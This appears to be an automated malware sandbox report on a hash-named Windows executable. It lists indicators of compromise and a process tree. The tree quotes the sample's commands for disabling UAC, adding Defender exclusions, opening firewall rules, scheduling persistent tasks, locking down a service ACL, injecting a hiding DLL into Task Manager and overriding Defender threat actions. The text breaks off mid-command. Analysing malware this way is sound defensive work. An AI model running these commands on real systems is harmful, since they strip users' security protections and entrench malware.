IDJwuh7Gfalnn3G3fSt8LiFK.exe 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe 1288 powershell.exe 1288 powershell.exe 4008 powershell.exe 4008 powershell.exe 4008 powershell.exe 1288 powershell.exe 2020 powershell.exe 2020 powershell.exe 992 powershell.exe 992 powershell.exe 2020 powershell.exe 992 powershell.exe 4172 powershell.exe 4172 powershell.exe 1984 powershell.exe 1984 powershell.exe 1972 powershell.exe 1972 powershell.exe 3908 injector.exe 3908 injector.exe 3908 injector.exe 3908 injector.exe 3908 injector.exe 3908 injector.exe 1408 csrss.exe 1408 csrss.exe 3908 injector.exe 3908 injector.exe 3908 injector.exe 3908 injector.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
Processes:
UniversalInstaller.execmd.exepid process 568 UniversalInstaller.exe 4956 cmd.exe 4956 cmd.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exepowershell.exejsc.exepowershell.exepowershell.exeT8aHe9G2jy90tHW1nG82yaRw.exeIDJwuh7Gfalnn3G3fSt8LiFK.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execsrss.exesc.exepowershell.exeWMIC.exedescription pid process Token: SeDebugPrivilege 1384 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe Token: SeDebugPrivilege 4324 powershell.exe Token: SeDebugPrivilege 2304 jsc.exe Token: SeDebugPrivilege 1288 powershell.exe Token: SeDebugPrivilege 4812 powershell.exe Token: SeDebugPrivilege 4796 T8aHe9G2jy90tHW1nG82yaRw.exe Token: SeDebugPrivilege 1988 IDJwuh7Gfalnn3G3fSt8LiFK.exe Token: SeImpersonatePrivilege 4796 T8aHe9G2jy90tHW1nG82yaRw.exe Token: SeImpersonatePrivilege 1988 IDJwuh7Gfalnn3G3fSt8LiFK.exe Token: SeDebugPrivilege 2496 powershell.exe Token: SeDebugPrivilege 3780 powershell.exe Token: SeDebugPrivilege 1288 powershell.exe Token: SeDebugPrivilege 4008 powershell.exe Token: SeDebugPrivilege 2020 powershell.exe Token: SeDebugPrivilege 992 powershell.exe Token: SeDebugPrivilege 4172 powershell.exe Token: SeDebugPrivilege 1984 powershell.exe Token: SeDebugPrivilege 1972 powershell.exe Token: SeSystemEnvironmentPrivilege 1408 csrss.exe Token: SeSecurityPrivilege 4268 sc.exe Token: SeSecurityPrivilege 4268 sc.exe Token: SeDebugPrivilege 2576 powershell.exe Token: SeIncreaseQuotaPrivilege 4356 WMIC.exe Token: SeSecurityPrivilege 4356 WMIC.exe Token: SeTakeOwnershipPrivilege 4356 WMIC.exe Token: SeLoadDriverPrivilege 4356 WMIC.exe Token: SeSystemProfilePrivilege 4356 WMIC.exe Token: SeSystemtimePrivilege 4356 WMIC.exe Token: SeProfSingleProcessPrivilege 4356 WMIC.exe Token: SeIncBasePriorityPrivilege 4356 WMIC.exe Token: SeCreatePagefilePrivilege 4356 WMIC.exe Token: SeBackupPrivilege 4356 WMIC.exe Token: SeRestorePrivilege 4356 WMIC.exe Token: SeShutdownPrivilege 4356 WMIC.exe Token: SeDebugPrivilege 4356 WMIC.exe Token: SeSystemEnvironmentPrivilege 4356 WMIC.exe Token: SeRemoteShutdownPrivilege 4356 WMIC.exe Token: SeUndockPrivilege 4356 WMIC.exe Token: SeManageVolumePrivilege 4356 WMIC.exe Token: 33 4356 WMIC.exe Token: 34 4356 WMIC.exe Token: 35 4356 WMIC.exe Token: 36 4356 WMIC.exe Token: SeIncreaseQuotaPrivilege 4356 WMIC.exe Token: SeSecurityPrivilege 4356 WMIC.exe Token: SeTakeOwnershipPrivilege 4356 WMIC.exe Token: SeLoadDriverPrivilege 4356 WMIC.exe Token: SeSystemProfilePrivilege 4356 WMIC.exe Token: SeSystemtimePrivilege 4356 WMIC.exe Token: SeProfSingleProcessPrivilege 4356 WMIC.exe Token: SeIncBasePriorityPrivilege 4356 WMIC.exe Token: SeCreatePagefilePrivilege 4356 WMIC.exe Token: SeBackupPrivilege 4356 WMIC.exe Token: SeRestorePrivilege 4356 WMIC.exe Token: SeShutdownPrivilege 4356 WMIC.exe Token: SeDebugPrivilege 4356 WMIC.exe Token: SeSystemEnvironmentPrivilege 4356 WMIC.exe Token: SeRemoteShutdownPrivilege 4356 WMIC.exe Token: SeUndockPrivilege 4356 WMIC.exe Token: SeManageVolumePrivilege 4356 WMIC.exe Token: 33 4356 WMIC.exe Token: 34 4356 WMIC.exe Token: 35 4356 WMIC.exe Token: 36 4356 WMIC.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
Qg_Appv5.exeUniversalInstaller.exeUniversalInstaller.exepid process 2616 Qg_Appv5.exe 4276 UniversalInstaller.exe 4276 UniversalInstaller.exe 568 UniversalInstaller.exe 568 UniversalInstaller.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exejsc.exeIDJwuh7Gfalnn3G3fSt8LiFK.exeT8aHe9G2jy90tHW1nG82yaRw.exeT8aHe9G2jy90tHW1nG82yaRw.exeIDJwuh7Gfalnn3G3fSt8LiFK.execmd.execmd.exe5C7CoHlC72ZxGrZ2pQr8gLtb.execsrss.exedescription pid process target process PID 1384 wrote to memory of 4324 1384 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe powershell.exe PID 1384 wrote to memory of 4324 1384 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe powershell.exe PID 1384 wrote to memory of 2304 1384 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe jsc.exe PID 1384 wrote to memory of 2304 1384 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe jsc.exe PID 1384 wrote to memory of 2304 1384 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe jsc.exe PID 1384 wrote to memory of 2304 1384 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe jsc.exe PID 1384 wrote to memory of 2304 1384 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe jsc.exe PID 1384 wrote to memory of 2304 1384 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe jsc.exe PID 1384 wrote to memory of 2304 1384 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe jsc.exe PID 1384 wrote to memory of 2304 1384 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe jsc.exe PID 1384 wrote to memory of 2952 1384 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe jsc.exe PID 1384 wrote to memory of 2952 1384 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe jsc.exe PID 1384 wrote to memory of 2952 1384 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe jsc.exe PID 2304 wrote to memory of 920 2304 jsc.exe 5C7CoHlC72ZxGrZ2pQr8gLtb.exe PID 2304 wrote to memory of 920 2304 jsc.exe 5C7CoHlC72ZxGrZ2pQr8gLtb.exe PID 2304 wrote to memory of 920 2304 jsc.exe 5C7CoHlC72ZxGrZ2pQr8gLtb.exe PID 2304 wrote to memory of 1988 2304 jsc.exe IDJwuh7Gfalnn3G3fSt8LiFK.exe PID 2304 wrote to memory of 1988 2304 jsc.exe IDJwuh7Gfalnn3G3fSt8LiFK.exe PID 2304 wrote to memory of 1988 2304 jsc.exe IDJwuh7Gfalnn3G3fSt8LiFK.exe PID 2304 wrote to memory of 4796 2304 jsc.exe T8aHe9G2jy90tHW1nG82yaRw.exe PID 2304 wrote to memory of 4796 2304 jsc.exe T8aHe9G2jy90tHW1nG82yaRw.exe PID 2304 wrote to memory of 4796 2304 jsc.exe T8aHe9G2jy90tHW1nG82yaRw.exe PID 1988 wrote to memory of 1288 1988 IDJwuh7Gfalnn3G3fSt8LiFK.exe powershell.exe PID 1988 wrote to memory of 1288 1988 IDJwuh7Gfalnn3G3fSt8LiFK.exe powershell.exe PID 1988 wrote to memory of 1288 1988 IDJwuh7Gfalnn3G3fSt8LiFK.exe powershell.exe PID 4796 wrote to memory of 4812 4796 T8aHe9G2jy90tHW1nG82yaRw.exe powershell.exe PID 4796 wrote to memory of 4812 4796 T8aHe9G2jy90tHW1nG82yaRw.exe powershell.exe PID 4796 wrote to memory of 4812 4796 T8aHe9G2jy90tHW1nG82yaRw.exe powershell.exe PID 1384 wrote to memory of 2496 1384 T8aHe9G2jy90tHW1nG82yaRw.exe powershell.exe PID 1384 wrote to memory of 2496 1384 T8aHe9G2jy90tHW1nG82yaRw.exe powershell.exe PID 1384 wrote to memory of 2496 1384 T8aHe9G2jy90tHW1nG82yaRw.exe powershell.exe PID 1432 wrote to memory of 3780 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe powershell.exe PID 1432 wrote to memory of 3780 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe powershell.exe PID 1432 wrote to memory of 3780 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe powershell.exe PID 2304 wrote to memory of 3108 2304 jsc.exe AA94amAZhUMMf52xrK6WqgJN.exe PID 2304 wrote to memory of 3108 2304 jsc.exe AA94amAZhUMMf52xrK6WqgJN.exe PID 1384 wrote to memory of 1496 1384 T8aHe9G2jy90tHW1nG82yaRw.exe cmd.exe PID 1384 wrote to memory of 1496 1384 T8aHe9G2jy90tHW1nG82yaRw.exe cmd.exe PID 1432 wrote to memory of 4192 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe cmd.exe PID 1432 wrote to memory of 4192 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe cmd.exe PID 1496 wrote to memory of 2568 1496 cmd.exe netsh.exe PID 1496 wrote to memory of 2568 1496 cmd.exe netsh.exe PID 4192 wrote to memory of 2572 4192 cmd.exe netsh.exe PID 4192 wrote to memory of 2572 4192 cmd.exe netsh.exe PID 1384 wrote to memory of 1288 1384 T8aHe9G2jy90tHW1nG82yaRw.exe powershell.exe PID 1384 wrote to memory of 1288 1384 T8aHe9G2jy90tHW1nG82yaRw.exe powershell.exe PID 1384 wrote to memory of 1288 1384 T8aHe9G2jy90tHW1nG82yaRw.exe powershell.exe PID 920 wrote to memory of 568 920 5C7CoHlC72ZxGrZ2pQr8gLtb.exe upk.0.exe PID 920 wrote to memory of 568 920 5C7CoHlC72ZxGrZ2pQr8gLtb.exe upk.0.exe PID 920 wrote to memory of 568 920 5C7CoHlC72ZxGrZ2pQr8gLtb.exe upk.0.exe PID 1432 wrote to memory of 4008 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe powershell.exe PID 1432 wrote to memory of 4008 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe powershell.exe PID 1432 wrote to memory of 4008 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe powershell.exe PID 1384 wrote to memory of 992 1384 T8aHe9G2jy90tHW1nG82yaRw.exe powershell.exe PID 1384 wrote to memory of 992 1384 T8aHe9G2jy90tHW1nG82yaRw.exe powershell.exe PID 1384 wrote to memory of 992 1384 T8aHe9G2jy90tHW1nG82yaRw.exe powershell.exe PID 1432 wrote to memory of 2020 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe powershell.exe PID 1432 wrote to memory of 2020 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe powershell.exe PID 1432 wrote to memory of 2020 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe powershell.exe PID 1432 wrote to memory of 1408 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe csrss.exe PID 1432 wrote to memory of 1408 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe csrss.exe PID 1432 wrote to memory of 1408 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe csrss.exe PID 1408 wrote to memory of 4172 1408 csrss.exe powershell.exe PID 1408 wrote to memory of 4172 1408 csrss.exe powershell.exe -
System policy modification 1 TTPs 1 IoCs
Processes:
95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe"C:\Users\Admin\AppData\Local\Temp\95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe"1⤵
- UAC bypass
- Windows security bypass
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe" -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"2⤵
- Drops startup file
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Pictures\5C7CoHlC72ZxGrZ2pQr8gLtb.exe"C:\Users\Admin\Pictures\5C7CoHlC72ZxGrZ2pQr8gLtb.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\upk.0.exe"C:\Users\Admin\AppData\Local\Temp\upk.0.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 568 -s 10925⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe"C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\Zqicom_beta\UniversalInstaller.exeC:\Users\Admin\AppData\Local\Temp\Zqicom_beta\UniversalInstaller.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\Zqicom_beta\UniversalInstaller.exeC:\Users\Admin\AppData\Roaming\Zqicom_beta\UniversalInstaller.exe6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe7⤵
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: MapViewOfSection
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe8⤵
-
C:\Users\Admin\Pictures\IDJwuh7Gfalnn3G3fSt8LiFK.exe"C:\Users\Admin\Pictures\IDJwuh7Gfalnn3G3fSt8LiFK.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\IDJwuh7Gfalnn3G3fSt8LiFK.exe"C:\Users\Admin\Pictures\IDJwuh7Gfalnn3G3fSt8LiFK.exe"4⤵
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe5⤵
- Executes dropped EXE
- Adds Run key to start application
- Manipulates WinMonFS driver.
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)7⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)8⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1988 -s 9764⤵
- Program crash
-
C:\Users\Admin\Pictures\T8aHe9G2jy90tHW1nG82yaRw.exe"C:\Users\Admin\Pictures\T8aHe9G2jy90tHW1nG82yaRw.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\T8aHe9G2jy90tHW1nG82yaRw.exe"C:\Users\Admin\Pictures\T8aHe9G2jy90tHW1nG82yaRw.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4796 -s 9364⤵
- Program crash
-
C:\Users\Admin\Pictures\AA94amAZhUMMf52xrK6WqgJN.exe"C:\Users\Admin\Pictures\AA94amAZhUMMf52xrK6WqgJN.exe"3⤵
- Modifies firewall policy service
- Windows security bypass
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\s2tweovw0BvcM0wIqlTZALVa.exe"C:\Users\Admin\Pictures\s2tweovw0BvcM0wIqlTZALVa.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zSF9EB.tmp\Install.exe.\Install.exe /nxdidQZJ "385118" /S4⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"5⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True8⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 04:52:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\RMWIhxT.exe\" em /tXsite_idrwh 385118 /S" /V1 /F5⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 1988 -ip 19881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4796 -ip 47961⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 568 -ip 5681⤵
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\RMWIhxT.exeC:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\RMWIhxT.exe em /tXsite_idrwh 385118 /S1⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD 